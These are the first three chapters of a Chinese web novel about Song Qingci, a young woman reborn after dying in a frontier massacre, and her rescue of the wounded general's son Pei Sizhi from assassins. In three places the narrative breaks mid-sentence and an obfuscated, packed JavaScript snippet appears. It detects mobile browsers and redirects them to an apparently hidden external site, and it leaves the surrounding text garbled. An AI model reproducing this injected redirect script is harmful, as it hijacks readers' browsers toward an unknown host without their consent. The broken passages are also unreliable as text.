《归路歌》 1. 第 1 章 定熙五年,初冬。 窗外的第一抹天光将宋清词从梦魇中成功解救出来,少女习惯性地揉了揉眉心,起身换掉身上被冷汗浸透的里衣。 里屋的动作很轻,却还是惊动了门口守夜的侍女。宋清词顾自系好衣裳,朝着掀帘走来的侍女腼腆一笑道:“还是把你吵醒了啊,丹娘。” 丹娘接过她换下来的衣裳,感受到触手冰凉,不由得嗔道:“婢子劝姑娘很多次了,冬日里容易着凉,姑娘梦魇出汗了要等着婢子给您擦干了再下塌,姑娘您怎么就偏不听呢?要是受了寒,婢子可没脸给夫人回话了!” 宋清词摊开双臂,由着对方给自己整理外袍,轻声宽慰道:“李嬷嬷病得急,你又刚调到我院中不久,有些事还不清楚。我这人天生多梦,平日里起得又早,实在不大想麻烦你们。万一养成了让人伺候的习惯,阿翁就不带我下乡巡访了。” 丹娘皱皱眉头,有些无奈道:“跟随太守处理公务固然重要,可姑娘十日里有八日会被噩梦惊醒,这很伤神的。得是多骇人的梦,才能让您把衣服都沁透了啊!” 骇人吗? 宋清词仰首阖眸,思考着。 十六年如一日地做着同一个梦,她似乎已经没那么怕了。 毕竟,世人畏惧梦魇,多半是忧心那梦中险境会在某一天照进现实,是忧心自己的将来,可宋清词无比清楚地知道,方才令她在睡眠中冷汗涔涔的,不仅仅是梦。 那是已经发生过的——她的上辈子。 她那时的名字是周词,是一个地方小吏家的独女,家中虽算不上富贵,可父母对她极尽宠爱。她仍然记得自己整日除了读书习字,就是坐在院中梨花树下的秋千上,与好友用狗尾巴草编扎成一只只小兔子。看着太阳快落山了,再一步一跳地上街买两串糖葫芦,往东街衙门的方向迎一迎,不一会儿便能等到自家阿爹,一串糖葫芦给自己,一串给阿爹,等两人相伴到家时,阿娘一定已经将热腾腾的饭菜端上长案,等着开饭了。 她在梦中看不清阿爹阿娘的样子,只能模糊望见他们常常依偎在一起的身影。 她还看见,自己因为害羞而挪开目光,只一个劲儿夸阿娘烧饭的手艺好的模样,乐呵呵的,像只等待被摸头的小狗。 阿娘见她这样捧场,一定会不负所望地应和小词几句,譬如什么“给我们家小词烧饭最开心了”“喜欢吃这个,阿娘明日还给小词做”。 日子本应该就这样过下去的。 唯独那一日,不同了。 那是入冬的第一场雪,她如往常一般接了阿爹下值,夸了阿娘手艺,就在食案前埋头大快朵颐的时候,街上一阵骚乱声打断了家中的氛围,那急切的声音并不像普通的邻里拌嘴,更像是有人走漏了什么消息,正被一群过路人围堵着问话。 阿爹拍了拍阿娘的手,率先拿起灯笼踏出门去,迎面便见着自己的上峰带着全家老小登上马车,潦草交涉几句后,阿爹快步回到院中,神情是从未有过的愤恨和哀戚。 “北方匈奴突率十万大军攻城,县令和将军早早得了消息,见势头不似往年那般单单骚扰村落,便弃城而逃了……我县只有区区千余守军,如何抵挡得住?我今儿个在衙门上值一整日却没有收到州郡下达的任何指示,他们摆明了是想用边境几县百姓的尸体延缓匈奴南下的速度……” “这便……没有回旋的余地吗……”小词听见阿娘说。 “入冬了。”阿爹伸出手来,接了几片大颗的雪花,再看向阿娘时,目光中多了几分小词看不懂的决绝,“雪季苦寒,匈奴是要吃人的。” 城门处的战鼓声很快传入大街小巷,小词还来不及反应,便被阿爹阿娘一齐推搡着,骑上家里唯一一匹小马的马背。 小词慌得厉害,街上逃难的嘈杂声令她听不清阿爹阿娘口中的交代,她只能拼了命地抓着娘亲的手不松开,“别,别让我一个人走……阿娘,我们一家人要在一起……” 阿爹按住她的手腕,将小马的缰绳强行塞到她手里,竭力维持着以往的镇定,他朝着她沉声道:“傻孩子,我们一家人当然会在一起,只是你跑的太慢了,会跟不上我们的。你骑着小白一路向南,等你跑到平安县最南边的时候,就能与我和阿娘回合了。” 阿爹回头望了眼已经变得蜂拥万分的长街,朝着马儿狠狠拍了一巴掌,“小词,逃啊!” 周词不知道自己是用什么样的心情在长街奔袭的,只大概觉察自己的脸上在反复湿润,又反复被寒风吹干,街边无数光景在她眼中都变得扭曲,可她似乎离那句“平安县最南边”还有很远很远。 平安县的马绝大部分要被充作军马,民用马匹在平安县是稀罕物,小词家的这匹也只是不足三岁、难以负重的小马,虽跑的比人快不少,但还是在疾驰一段时间后渐渐慢了下来。 少女左右顾看着,努力辨别方向,急切地期望能快点找到这座城的至南处。 她没想到那段刺耳的哨声那么快的响彻这座城—— 匈奴人进城了。 紧接着,短促有力的几段哨音传来,周词原本还不解其意,直到她在马背上,遥遥望见那黑压压一片的屠戮者——所过之处,尽数洗劫虐杀。 肆意发泄的怒骂挥砍声,受尽凌虐的惨叫乞求声……无数种声音充斥着周词的耳膜,她彷徨地调转马头准备回去,却见那群骑着铁血战马的匈奴人以不可估量的移速朝这个方向疾驰,惊得周词座下的小白本能地后退几步。 逃啊,小词。 雪越下越大,小白在仓皇逃窜下四蹄滑了好几次,身后无数人已经追赶上来,有逃难的同乡,更有满口戏谑异语的匈奴人,周词已经分不清南北了,她被夹杂在乱流里,能做的似乎只有紧紧贴紧马背,祈祷着能有一线生机。 可是身边的人都倒下了。 断肢和头颅甚至能飞溅到她怀里。 连小白也被射中了马肚,无法再带着她逃了。 她连滚带爬地往前跑,突然发现,前方不远处已经没有路了—— 是悬崖。 也许这就是这座城的最南处吗? 被暴雪覆盖着的崖石格外湿滑,周词踉跄着站直身体,回首望去,目光掠过那几个追赶上来的异族人,最终投向那座遥远的、火光冲天的平安县。 少女的面庞被火光照亮,她的眼睛像一潭死寂的湖水,令人从中找不到任何求生的欲望。这倒是令几个步步逼近的匈奴人感到意外,他们嬉笑着挥动弯刀和马鞭,不急着对她动手,甚至还稍稍让出一条路来,打算引着她主动臣服。 小词唇边扯出一抹苦笑来,这不是她想要的一线生机。 她想要逃到城的最南边,想要再看见阿爹阿娘露出幸福的笑容,想要的是一个能恢复曾经的一切的希望。 她垂眸朝崖底看去,毫不犹豫地倾身跳下。 那一年,周词年仅十二岁。 她死得挺透,但不知为什么,再睁眼时,成了东朝辽东郡太守府中刚刚降世的孙辈长女,宋清词。 起初,她还是留有上一世的完整记忆的,可是慢慢的,那些记忆在脑中逐年消散,等她长到了可以提笔的年纪,想将前世的阿爹阿娘画下来,竟发现无论如何都做不到了。 她大抵明白,这就是轮回的力量,任何人都无法与之抗衡。 她唯独记得临死前的那个雪夜——是靠梦。 靠着每夜的梦魇将她不断整合又撕碎,才能记住那一幕。 即使每日醒来后都觉得心里沉甸甸的,但宋清词想着,如果这样便不会忘记,也算老天对她的格外垂怜,那便继续梦吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480511|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “吱呀”一声,丹娘推开房门,门外的白光顿时照亮整间屋子,初冬的寒风将宋清词从回忆里唤醒,她往外踱了两步,声音飘忽又温柔:“下雪了。” “是啊,这可是今年第一场雪。” 宋清词微蹙了下眉头,似是想到什么,推拒了对方递来的沉重铁器,正色道:“今晨来不及练功了,雪季多灾患,阿翁定是早早出城巡乡去了,我得赶紧跟上。”又朝院外高喝一声,“来人,备马!” “回姑娘,太守已提前吩咐好了,您的马就在府外。”门口小厮应道。 丹娘眼看着自家小主子欲要顶着风雪飞奔离去的架势,急忙唤道:“哎,姑娘,您还没用早饭呢!先用了早饭再去吧!” “时辰还早,回来再说。”脚下匆匆的少女朝身后摆摆手,说话间已然推开自己小院的门,刚要冲出去,迎面便碰上个裹着黑色大氅怒目圆瞪的美妇人。 “宋——清——词——”这一声吼,恨不得把全府人都叫醒。 小词一下子将嘴巴鼓成个包子,假装无事发生,两腿站好,憨憨笑了声:“阿母……起的好早啊。” “最近世道不太平,你还总背着我溜出去!” 美妇人一副“又被我抓到了”的表情,绕着宋清词踱着步,口中喋喋不休,“别以为有你阿翁给你当挡箭牌,你就可以不把阿母的话放在眼里了。昨日我都听到你阿父和阿翁说了,中原几州起了暴乱,连我们幽州也多了好几股匪患,难保他们不会溜到辽东郡来!你一个没有自保力量的姑娘家,平日里跟着阿翁四处看看学学也就算了,这阵子不许出城了!走,陪我用早膳去!” 宋清词垂下眼帘,反手扯了扯美妇人的袖口,低着嗓子撒娇:“阿母,今日真的不行。” 杜婉一瞪眼睛,“怎么?你阿翁堂堂一郡太守,身边缺了你就做不成事了?” “是我离了阿翁,就写不成策论了。”宋清词坚定道:“进了雪季,乡间最是容易出人命的。阿翁已经提前出城巡查布置,帮着城外百姓抵御严寒,我与那些乡邻颇为熟悉,去了不仅有助我完成策论,更能帮上不少忙。” 杜婉嗔道:“你阿翁身边人才济济,也不是非缺你一个帮忙的,今日天冷得厉害,冻着了可怎么好?” “出力赈灾这种事,阿翁哪里会嫌人多呢?雪季不等人啊。”少女稍稍抬颌,眼波流转,试探道,“等我回来,就从城东的岳鲜楼给阿母带您最喜欢的酒酿圆子!” 杜婉眉峰一挑,“顺路吗?” “自然。”不顺也得顺。 阿母瘪瘪嘴,故作遗憾道:“小丫头,就知道拦不住你。”又从身后婢女手里拿过一个木质食盒,“喏,想走的话,就把饭带上!否则免谈。” “多谢阿母。”宋清词弯唇一笑,接过食盒,脚下如生风,飞快离去。 杜婉驻足在原地,望着那道高挑的背影良久,有些惆怅地叹了口气,“长大喽,鸟儿要出窝往外面飞,拦不住喽!” 丹娘在一旁安抚道:“孩子长大了难免想出去见见世面,又不是不和您亲了。您看,您的各类喜好姑娘是不是倒背如流?再说,姑娘年幼时胆小爱哭,总把自己关在屋子里头,您还为此发愁来着。” 杜婉似有被安慰到,“是啊,她小时候还是个畏畏缩缩的性子,外头有点大声响便要受惊发热,好在这些年出落得越发大方了。” 丹娘一拍大腿,“正是呢!太守带着姑娘在外行走,不仅学了东西,还锻炼性子,我看姑娘每天晚上回来都开心得很,定是颇有收获的。” 杜婉一边往院外走,一边止不住点头,“有理……有理!走,收拾不了大的,咱们收拾小的去,昭儿现在肯定还在床上磨蹭着不愿意背书呢!” 丹娘连忙跟上,“夫人惯会取笑姑娘和小公子。” 2. 第 2 章 小词自幼便很喜欢跟在阿翁身边。 阿翁亦是。身为辽东郡太守,宋秋廷是家中最忙的一个,整日公务缠身,还是恨不得将她时时带在身边照看,这个习惯即便是在宋清词十岁时家中幼弟出生,也没有发生改变。 宋清词记得很清楚,那时阿翁说,吾与小词多认识了十年,这多了十年的交情,自是不一样的。 彼时小词正因练拳疲惫而敷衍着用膳,听了这话不由得一顿,眼睛有些酸涩,只好一个劲埋头,往嘴里狠狠塞了几口粟饭。 其余长辈对于阿翁的话倒是没什么异议,或者说能让阿翁作此答的,原本也只是一些远房叔婶调侃小词的玩笑话,小词的阿母当时还打趣道:“还是父亲大人明智呢!反正昭儿还是个小娃娃什么都不懂。我们小词啊,就把心放在肚子里,好好跟在你阿翁身边学你想学的吧。” 眼泪混着粟米饭是什么样的滋味呢,明明小词曾经尝过无数次,可那日的味道却很不一样。 她应该是这世上顶顶幸运的人,今生的家人也对她很好。 即便这种好会令她诚惶诚恐,会令她更加地害怕这种美好再次被灾难夺走,会让她时刻小心谨慎地守在阿翁身边,暗暗探查着边境动向、州郡局势,警惕着所有可能会危害到家人安全的明枪暗箭,稍有异样便像只惊弓之鸟。但她还是会在某个时刻四肢放松地躺在草地里,仰面朝着天,满目净是蓝色,深深地叹出一口气—— 生活啊,真是很不错呢。 “小词姑娘,你在这儿啊。” 正当宋清词站在村口,朝着一望无际的雪地发怔时,身后传来一道沙哑年迈的声音。 宋清词回首,见了来人浅笑道:“我帮着他们记录得差不多了,阿翁叫我先出来等着,我们马上就去下个村落巡访了。” 对方是个走路颤颤巍巍的老者,他是此地的农户,手里拄着个树枝做成的木棍,另一只手捂着怀里揣着的东西,鼓鼓囊囊的,似乎异常珍贵。大概是怕小词急着走,他直朝她点头,像是有什么话要说。 小词往回迎了他几步,轻扶着他,“李翁,雪天路滑,何必追出来?有什么事找人带话给我就是了,而且我过几天还会来呢。” 老者从怀里宝贝似的掏出一小兜东西,外皮用好几层干净而破洞的布块包着,送到宋清词跟前,才小心着摊开,里面是还泛着水汽的山楂。老人腼腆地笑,干裂粗糙的手往上递了递,“小词姑娘,吃,这很好吃的。” 宋清词也笑,从里面拿了三四颗,“谢谢,很新鲜。您也吃。” 李翁见她吃得好,便更加欣喜,干脆将整包果子塞到她手里,“这就是给你的。快收着,相比你和太守为我们做的,这根本算不得什么。” 宋清词忙道:“不敢居功。我家阿翁常说,那是职责所在。” 李翁闻之摇头,言中多了些语重心长的味道,“太守从京城调来辽东郡十六年,这十六年如一日的对我们这些农户的照料,可不该算在职责里。我活得久,知道先前几任太守的做派,别说什么带着大家防灾放粮,就连他们的脸我们都没见过!自古当官的就是这样,老大不重视底下的民生,手底下人就更不在乎了,若遇着严冬灾年,村里死一半人都算不上稀奇,他们还会窃喜死的那些人省了口粮和土地哩!” 李翁偏过头,暗暗指了指村里那些身着官服的一群人,声音降下来,“你看你阿翁身后那浩浩荡荡的一群人,他们敢不重视民生吗。若不重视,以你阿翁巡查的速度,不日就会发现,就会整治他们呢!我们乡里人啊,现在过冬都不会那么心慌了。” 宋清词无不认可,就连自己都对村中哪个地段需要修缮,哪些农户需要救济了解甚多,更别说阿翁手底下的那些官员了,哪怕他们只是装装样子,手指缝里流出来的那点慈悲,也足够城外乡民活下去。 百姓能活,世道便安逸。 “话是如此,但近日还是警惕些。”宋清词扶着老人往回走,“中原多地爆发起义,各州官府奉京城袁大将军的钧令,招募大量军士对其镇压,如今正斗得火热。我们幽州虽无起义军,却也趁势冒出了几股匪患,阿翁已经下令加强城外官兵夜间巡查,但为避免疏漏,您还是要嘱咐村民们多加小心。” 东朝历经两百年,早就到了官民矛盾被激化得难以忍受、亦难以压制的地步,辽东郡的人尚有活路可寻,不代表东朝十三洲的底层百姓都可以。 “姑娘提到这个,我才想起来,昨夜我确实听到了些声响。”李翁倏然驻足,努力回想道,“我昨个半夜见下了雪,便爬起来给牛棚加些秸秆抗寒,忽然听见村口有兵器碰撞的打斗声,我远远地瞄了眼——哎!那场面真是骇人得很,一群人围着一个人打呢!我哪敢声张,只悄悄回去给门落锁,可是等我清早再去瞧的时候,地上连片血迹都没有。实在诡异,怕是我年纪忒大,睡糊涂了!” “村里可有什么损失?” “不曾听人说起啊,您说会是匪吗?我是不是真的睡糊涂了……” 宋清词了然于心,听着那一行官员的步调愈来愈近的声响,便也不再追问,只嘱咐老人万万注意防范。 说话间,那浩浩荡荡的身着玄色官袍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480512|185618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十几个郡县官员已迈入两人视线,为首的郡太守宋秋廷虽年近六十,却仍脊背笔直,步步生风,巡视四周的炯炯目光令左右官员倍感心惊,可见到小词后,脸庞褶皱因笑容向上一推,又是另一番氛围。 “小词啊,你的马先被我们征调一下,周县丞的马受伤了,坡脚行路不便,你将马让予县丞,可好?” 宋清词自当应下,转头道:“周县丞,小女的马就系在村口树旁。” 宋秋廷上前几步,先是朝一旁的李翁颔首,两人如老友般相互打了招呼,才对宋清词道:“眼看着晌午了,马既借出,你也不便再去下一个庄子,干脆回城吃饭,你不是还答应给你阿母要带酒酿馒头吗?” “阿翁,那是酒酿圆子。”少女歪了歪头,认真道:“原本想着晚上回家时给阿母买一份当作宵夜的,刚好咱俩爱吃的那家汤饼也在岳鲜楼附近。” “啊?对!好几天没吃汤饼了,是有些想念。” “那不然……” 宋秋廷当即道:“酉时!我估摸着酉时就能忙完了,小词你到时来那家汤饼铺子找我,咱俩晚饭就定这个了,咋样?” “好啊!”少女重新露出笑靥,“阿翁,你背后藏着什么?” 阿翁仰头一笑,大手摊开,掌心趴着一只雪白的小狗。“村东那家的老王头儿硬塞给我的,他家刚下没多久的狗崽,你瞅瞅,咱也不好不收。” “好,我帮阿翁带回去就是了。”小词耸肩暗笑,这确实不适合一郡太守巡乡时携带,乡民倒不会介意,可一路上还有这么多官员呢。 “哎,带回去养着吧,这是人家一番心意。”阿翁把小狗往她怀里推了推,“快走吧,要是半道把狗冻死了,我肯定如实告诉老王头。” 欸……好过分。 雪白的幼犬在怀里还嘤嘤地叫,宋清词小心地搂着,目送一行人离去后才转身朝城门方向去,从此地到城门最少还要经过三四个村庄,她的脚程得再快些。 “这么可爱,昭儿一定喜欢。”想到这儿,小词的眸中难掩喜色。 雪渐渐停了,风也小了不少,耳边只剩下村落深处乡民的欢笑打趣声,还有一些鸭鹅此起彼伏的鸣叫声。她沿着一路的矮墙快步而行,大多时候都低着头专心观察幼犬的状态,连墙后突如其来的异响都没在意。 阳光下的少女归心似箭,顾不了那一墙之隔的事端。 墙后的男人单手压着腹部多出来的血窟窿,朝着步步逼近的两个黑衣死士冷笑连连,仿佛正面临危险的不是自己,“追了一晚上了,你们还真是……慢的要死。” 3. 第 3 章 裴肆之是昨夜抵达的幽州玄菟郡,随后又马不停蹄地前往那处约定好的湖心亭。 亭中那人背对着他,似乎正在欣赏夜景,裴肆之将手中剑朝后一掷,吩咐身后的几个随从不必跟上,才独自上阶,开口自有一番云淡风轻。 “州牧大人,久等了。” 幽州州牧——徐子猷抬首一笑,邀他入座,“青州距此足足千里,竟是四公子亲自过来?” 裴肆之摘了斗笠,饮下一杯热茶,这才盯着对方的眼睛淡笑道:“家父与州牧大人有过几年的同窗之谊,他又对与您的合作大有期待,若不是被边关事务绊住了脚,此等大事恐怕还轮不到小侄呢。” 徐子猷扬了扬眉,暗暗打量了一番眼前人。那是一张极受上天眷顾的脸,眉骨凌厉,高鼻星眸,眼尾微微上扬,目光在夜色中显得极为明亮,宽肩窄腰,身子随意地向后倾靠,整个人秀美得不像是征战沙场的少将军,倒像是个狂放不羁、视世间一切如同掌上玩物的贵公子。 徐子猷想到自己要说的恭维之词,一时间有些违心,“多年不见四公子,似乎比从前沉稳持重了不少,你家中父亲和大哥可还好吗?你父亲的腰伤可还常常发作?” 裴肆之答道:“劳徐伯父挂怀,父兄一切都好。离家前,父亲还将他挚爱之琴托付与我,叫我务必妥善交予伯父,不可在路上损伤分毫。” 徐子猷回首瞧了眼下人手中捧着的古琴,敛眸一笑,“这把琴也算得上当世奇珍了,我与你父亲一道读书时就向他讨过,他那时嫌我琴艺平庸,不肯割爱。如今年纪大了出手阔绰了,可惜我已经很久不抚琴了。” 裴肆之知其话中隐喻,也不尴尬,仍是那副坦然做派,“抚琴本为愉悦心神之雅事,早闻大人忧国忧民,视幽州百姓为亲子,如今亲子性命皆系于袁党一念之间,大人自然无暇抚琴。家父赠您此琴,为的是让您终有一日可以登上朝中高位,不受他人挟制,到那时您也许可找回对琴道的钟爱了。” “如此说来,我要谢他这般看重我。”徐子猷请他品尝石案上的糕点,一举一动倒真像是家中叔侄间的闲聊那般,“上将军与我确是同窗,我与他在少年时也确实关系匪浅,可他应该不会忘了,我与京城的袁大将军也是有同窗之谊的呀——邀我起兵共同讨伐袁党?他的胆子,可真大。” 裴肆之早知对方的说辞,不咸不淡道:“徐伯父依附袁大将军多年,可这么多年,您除了得到这幽州州牧的位置,还得到什么了?如今京城局势已然固化,若不与我父联手,难道您的余生还会有望回京吗?既你三人皆为同窗,那徐伯父站在哪一边,自然要看谁能给您的更多了。” 徐子猷笑道,“贤侄当真觉得,你父亲能给我的,会更多吗?” “徐伯父博古通今,应当知晓是继续稳定袁党地位所得更多,还是将京城势力重新洗牌所得更多,何须小侄详解。” 徐子猷嗤了一声,“利益再诱人,也不可不谈风险啊。” “大好局势就在眼前,伯父可不要因身在袁党而一叶障目。”裴肆之话中含着淡淡威慑,“袁靖卿独揽京城大权十六年,吞尽国库,滥权误政,无休止地增加税收只为一家敛财,致使京中买卖官职现象盛行,地方更是饿殍满地,流民相食。伯父应该知晓,若不是将人逼上了绝路,中原几州不会同时爆发那么大数量的农民起义。” 徐子猷的笑容淡了,却没接话。 “起义造成的混乱,若袁党有力镇压,倒也无碍。”裴肆之诛心道,“可惜啊,他并没有。若非害怕起义军的战火烧至京城,影响了他的夜夜笙歌,他怎会放权给地方,责令地方官自行招募军士镇压起义。” “如今,地方军如他所求的那般,招募军民之众早已盖过了起义军的声势,起义军不成气候了,但,地方军呢?多少诸侯借平叛名义势力并起,雄踞一方?或出身士族,或出身寒门,哪个不是对朝廷阳奉阴违,只在表面将矛头对准起义军?州牧大人以为,您用心维护的——镜花水月般的‘和平’还能撑多久?” 这连续几句的追问,像是在将徐子猷的心思揉烂了扔地上踩。 徐子猷的脸僵住许久,骤然倾身上前,厉声质问道:“你的意思是,大厦将倾,无可挽回了?裴肆之,你不过是个二十岁的毛头小子,妄论什么天下大势……” “乱世已现,群雄逐鹿,袁党下场已成定局。”裴肆之扬起头,那双妖冶漂亮的眼睛里全无畏惧,他甚至还在继续陈述,“我知道你要说幽州被你维护得很好,在外面斗得昏天黑地的时候,你这竟只出了几股匪患?可惜,幽州乃兵家必争之地,没有我父,将来也会有别人把你拖下水。相较于其他诸侯,你不觉得,还是我父亲的赢面更大些吗?” 徐子猷的胸腔剧烈起伏着,他狠狠凝视着眼前有恃无恐的桀骜少年,冷笑道:“是啊,你裴家领兵在外征战多年,所立军功、所屠城池不计其数。听说你回来之后刚夺下青州军的权,就把青州军原先的那位统领一家子赶尽杀绝了,可见你裴氏在青、兖一带是何等的权势滔天,其他诸侯自是比不过的。” 裴肆之闻言微怔,转瞬间笑得凉薄,“这些小事都能传到伯父的耳朵里,可见您对外头的形势还是蛮关切的。说句实在话,家父对您的诚意算是独一份了,你以幽州之力助他,日后他助你位列三公,你二人联手共创一番大事业,岂不比一辈子困在州牧的位置上美哉?” 徐子猷目光闪烁,像是有些败下阵来,几次无奈叹息过后,神色不再像方才那般躁郁。半晌,他提起石案上的白玉茶壶,亲自给裴肆之斟了盏茶。 “也罢,不论最终结盟与否,方才是徐某失礼了。” 见裴肆之没做反应,徐子猷又叹道:“是我没想到,你今日会这般直言……” 裴肆之笑了,“州牧以为,我会用‘清君侧’之言说服你,而非什么袁党必亡的大势,什么位列三公的利益。” 徐子猷勉强应道:“是,清君侧是个好名头。毕竟自十六年前袁大将军摄政以来,京城已经换了三位幼年皇帝,且都活不过十岁,如今的这位也……过了冬就满十岁了。” “徐州牧是文人大家出身,讲求体面,裴某理解。”裴肆之饮了他的茶,“自古以来便有‘借清君侧之名,行谋反之实’的做法。可惜,这都什么年月了呢,袁党乱政十六年,十六年啊……足以重新培养一代人,谁会在乎那位置上的人姓不姓萧,能不能活过十岁?若真有,恐怕也只有十六年前被袁大将军贬出京城的那些个——建章皇帝的亲信了吧?听闻有一位太子太傅就被贬来幽州做官了,嘶,他是做了什么官来着,辽东郡的……” 徐子猷面色如常,“辽东太守,宋秋廷。” “啊,应该是他。大人身为一州之长,除掉个自己州域里的郡太守,不算什么难事吧。”裴肆之起身,漫不经心地:“家父曾说,那才是会有‘清君侧’之念的人。能被建章皇帝提拔到那个位置,想必是不凡,最好提前清理干净,别让他在紧要关头坏了咱们的事。” 徐子猷见他拿起斗笠的动作,连忙随之起身,“贤侄这便要走了?” 裴肆之驻足侧首,斗笠的阴影遮住了少年带着几分调侃的眼神,“我以为,州牧大人已经拿定主意了。” 徐子猷摸不清他的脾性,只好试探性地答道:“上将军与贤侄的诚意,徐某今日了然于心,但具体……” “出兵的具体事宜,到时会有人再与您详谈。裴某此行,目的已然达到,其余并非是裴某的差事,这便告辞了。”裴肆之说话间,已然踏出湖心亭,接过自己的长剑,没有半点迟疑地消失在徐子猷的视线里。 “这裴少将军真是个怪人。”守在湖心亭附近的徐府亲信上前道。 “怪就怪罢。今夜之后,便不会再有这个人了。”徐子猷一拂大袖,顾自转身离去。 夜半子时,玄菟郡与辽东郡交界处。 彼时初雪已至,裴肆之高坐于马上,戏谑的目光冷睨着眼前数十个黑衣死士,吹了声口哨,“谁家的人这般贴心?特地派人陪在下赏雪。” 刺杀而已,他在外征战这许多年,早已习惯。 少年的手中剑正需饮血止渴,只是没想到,杀光了几十个,过会儿还能再冒出几十个,裴肆之越往辽东郡深处行进,对方伏击的次数就越多,人数也越多。 忙着策马逃命的少年一边感叹,一边挠了挠头——这是什么仇怨,值得对方花这么大手笔。 养死士需要掏出多少金银时间他是清楚的,对方要么是与自己有什么不死不休的大仇,要么是家底比裴氏差不了多少,容得下这般挥霍。 如今各州势力交错繁杂,是有人把自己的行踪卖与裴家政敌,还是幽州这片的地头蛇趁机作祟,他真是不好说。 “分头走!”裴肆之朝着自己仅剩下的两个随从低喝道。 快天亮时马跑废了,裴肆之只能靠着双腿穿梭于村庄附近。雪色太浓,视野有限,身后追杀的死士们时而能找到他,时而找不到,偶尔一次追上来的死士太多太多,裴肆之无奈到口不择言道:“你们抓我是不是为了和裴恪谈条件?不然我带你们去找他吧,他的头更贵。” 显然没用。 裴肆之很快就从他们招呼在他身上的狠毒招式里看出来了,现在就是把自家老爹的头当球踢也没用。 随着时间流逝,他渐渐力竭。可人在异乡,眼下又分不清是何人下此毒手,他不敢惊动地方官府,只好带着一身伤小心翼翼地逃窜于人烟稀少的村落间,静静等待着被下属救援的时机,却先等到了眼前步步逼近的两个黑衣死士。 面对重伤到不得不倚在村口矮墙的裴肆之,两个死士势在必得的神色跃然脸上。 “追了一晚上了,你们还真是……慢的要死。”裴肆之话音刚落,其中一名死士的短刃便刺了过来,裴肆之双手拼死抵住白刃,冷汗与血水同时滴落在被雪白覆盖的土地上,滴滴答答,好似死神的判钟。 “磨蹭什么!速速解决了就是。”另一个在旁望风的死士催促道。 “你以为我不想?来帮忙!” “废柴,这都拿不下。” 背靠在墙角的少年蓄力抵抗着,整个人都被笼罩在阴影里。眼前的两柄短刃离身体越来越近,他骤然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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裴肆之其实已经做好了暗中反击的准备,却没想到少女的动作比眼前死士的还要快,他还未看清宋清词是如何迅速蹬墙借力飞跃而来,便见黑衣死士因她突如其来的一记凌空侧蹴被迫后撤两步。如此,裴肆之与死士之间,便有宋清词做屏障。 “你今日杀不了任何人。”她如是说。 死士眼中便没有“逃”这一字,他手中短刃泛着寒光,毫不留情刺向宋清词喉颈要害,宋清词偏头避开,在那刃尖刺中裴肆之前化掌为锁,单手径直扣住对方手腕穴位,断其腕骨,卸刃。 “我说了,你今日杀不了任何人。”宋清词抚了抚怀中幼犬,看着已经失去兵器的死士,“还打吗?” 她很果断,招式既利索又点到为止,掌风隐匿于大袖中,叫人难辨走势,不论对面的杀招如何尖锐,她始终坚守在裴肆之身前,聚精会神地应对。少顷,裴肆之便眼睁睁见着那黑衣死士被少女的一记顶心肘砸晕。 见人倒地不起时,少女的眼底竟有些慌张,她在原地愣了一瞬,才小心着凑近,半蹲下来探了探脉,半晌后终是低呼一声,“还好还好,人没死。” 裴肆之:“……” 又见几步之外还有一个早就被木棍砸晕的,这番又是谨慎再谨慎地靠近、探脉,只是久久没应声。 “这个死了?”裴肆之忍不住开口。 “没有,但好像快了,得赶紧找人来。”少女尴尬地咬了咬唇,语气有些懊悔,“下手有点重了,这个木棍和我平时练的重量相差太多。” 裴肆之想笑却笑不出来,因失血过多导致整个人几乎脱力,见眼下危机已解,不愿再做停留,欲上前补刀了结,却倏然被宋清词按住手臂。 “嘘,有人来了,别动。”宋清词听着墙外细碎的脚步声,说道,“这脚步声不像官兵。” 裴肆之眯着眼,竟真的没有妄动。 “你帮我抱一下小狗。”少女的行动比嘴快。 “嗯?” “人太多了,这次单手可能不行。” 两人运气好得很,那阵细碎的脚步声并没有靠近他们藏身的位置,这次是裴肆之反应得更快些,将幼犬塞回到小词怀里,本能地催促道,“此地不宜久留,姑娘还是快些走罢。” “公子不必着急。”宋清词仍然是方才探听声响的姿势,“官兵已经到了。” 裴肆之幽深的桃花眸里闪过一抹玩味,“你说什么?” 宋清词直身肃立,望着对方那副漂亮到会让人感到张扬的面容,平静道:“请公子与那两人一起,配合官府的调查。” 裴肆之扫视着将此地团团包围起来的官兵,似笑非笑地勾唇,“仇家追杀罢了,有什么稀奇,还值得当个案子吗?” “公子的口音穿戴皆不似幽州人。如此多事之秋,险些在我村落聚集之地发生命案,理应开展调查。”宋清词睨了一眼他袖口不知何时偷藏着的短刃,“所以,别再想逃了,到时还要费力去追,平白浪费时间。” 明明生得一副云间贵公子模样,可他此刻懒洋洋地倚在墙上,歪着脑袋,眉眼间的失落像是个被情人抛弃的苦主,“怎么,后悔救我了?” “不会。”宋清词答,“远来是客,欢迎来到辽东郡,襄平城。” 4. 第 4 章 